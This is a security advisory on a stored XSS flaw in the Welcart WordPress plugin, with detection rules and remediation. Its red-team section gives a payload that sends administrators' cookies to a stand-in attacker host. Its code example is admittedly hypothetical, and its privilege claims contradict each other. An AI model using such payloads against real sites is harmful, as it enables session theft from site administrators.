CVE-2025-54013

Executive Summary

CVE-2025-54013 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Welcart e-Commerce plugin (usc-e-shop) for WordPress, versions up to and including 2.11.16. This vulnerability allows an authenticated attacker with low privileges (e.g., a shop manager or customer) to inject malicious scripts into web pages generated by the plugin. The injected script is stored on the server and executed in the browsers of other users, including administrators, when they view the affected page. The CVSS score is 5.9 (Medium), with a vector indicating network access, low attack complexity, required user interaction, and a scope change. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the patch status is unknown.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they become available. Since the patch status is unknown, users should consider disabling the plugin or implementing strict input validation and output encoding as a temporary mitigation.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – An unauthenticated attacker can trigger the stored XSS if the input is accepted from unauthenticated users (e.g., comments or reviews). However, the description suggests it may require some level of access.
• User Interaction (UI): Required (R) – The victim must click on a link or view a page containing the malicious payload.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, stored XSS in an e-commerce plugin can lead to session hijacking, credential theft, and defacement, posing a significant risk to online stores.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation. In the Welcart e-Commerce plugin, certain fields (e.g., product names, descriptions, customer reviews, or order notes) are not properly sanitized before being stored in the database and later rendered in HTML pages. An attacker can inject malicious JavaScript code into these fields. When an administrator or other user views the affected page (e.g., order details, product list), the script executes in their browser context.

Root Cause: The plugin uses functions like echo or print to output user data without applying WordPress’s escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This allows HTML and JavaScript to be rendered directly.

Attack Flow:

1. Attacker identifies an input field that is not sanitized (e.g., a product review or custom field).
2. Attacker submits a payload like <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database.
4. When an administrator visits the page displaying that data (e.g., the product edit screen), the script executes.
5. The attacker can steal cookies, perform actions on behalf of the admin, or redirect users.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet in a WordPress plugin might look like:

Vulnerable Code (PHP):

echo '<div class="product-name">' . $product_name . '</div>';

Patched Code (PHP):

echo '<div class="product-name">' . esc_html( $product_name ) . '</div>';

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Welcart e-Commerce plugin version <= 2.11.16.
• An account with at least "Customer" or "Shop Manager" role (or ability to submit data via unauthenticated forms).

Steps:

1. Identify an input field that is not sanitized (e.g., product review, custom field in order notes).
2. Inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the form.
4. Wait for an administrator to view the page containing the payload.
5. The script executes, sending the admin’s cookies to the attacker’s server.

Lab Setup:

• Use a local WordPress installation with the vulnerable plugin.
• Set up a simple HTTP server (e.g., python3 -m http.server 8080) to capture cookies.
• Use a browser with developer tools to inspect and modify requests.

Blue Team (Defender)

Detection:

• Monitor for unusual JavaScript in form submissions (e.g., <script>, onerror, onload).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review server logs for requests containing suspicious characters.

Response:

• If an attack is detected, immediately remove the malicious content from the database.
• Reset all user sessions and force password changes.
• Apply input validation and output encoding to all user-facing fields.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie data.
• Host: Presence of <script> tags in database fields (e.g., wp_postmeta, wp_comments).
• Logs: Entries in web server logs with patterns like %3Cscript%3E or onerror=.
• File: Modified plugin files (though unlikely for stored XSS).

Example IOC (Database Query):

SELECT * FROM wp_comments WHERE comment_content LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_54013_Welcart_XSS {
    meta:
        description = "Detects stored XSS payloads in Welcart e-Commerce plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54013"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Welcart e-Commerce Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS payloads in HTTP requests to WordPress
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/admin-ajax.php'
            - '/wp-comments-post.php'
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in comments (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54013 Welcart Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to business operations.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Apply input validation using WordPress functions like sanitize_text_field() and wp_kses_post().
4. Use output encoding with esc_html(), esc_attr(), or esc_url() when displaying user data.

Long-Term Fix:

• Monitor the plugin’s official repository for a security patch.
• Consider switching to a more actively maintained e-commerce plugin if no patch is released.
• Conduct a security audit of all custom code interacting with the plugin.

Valters IT
Securing digital ecosystems through proactive threat intelligence.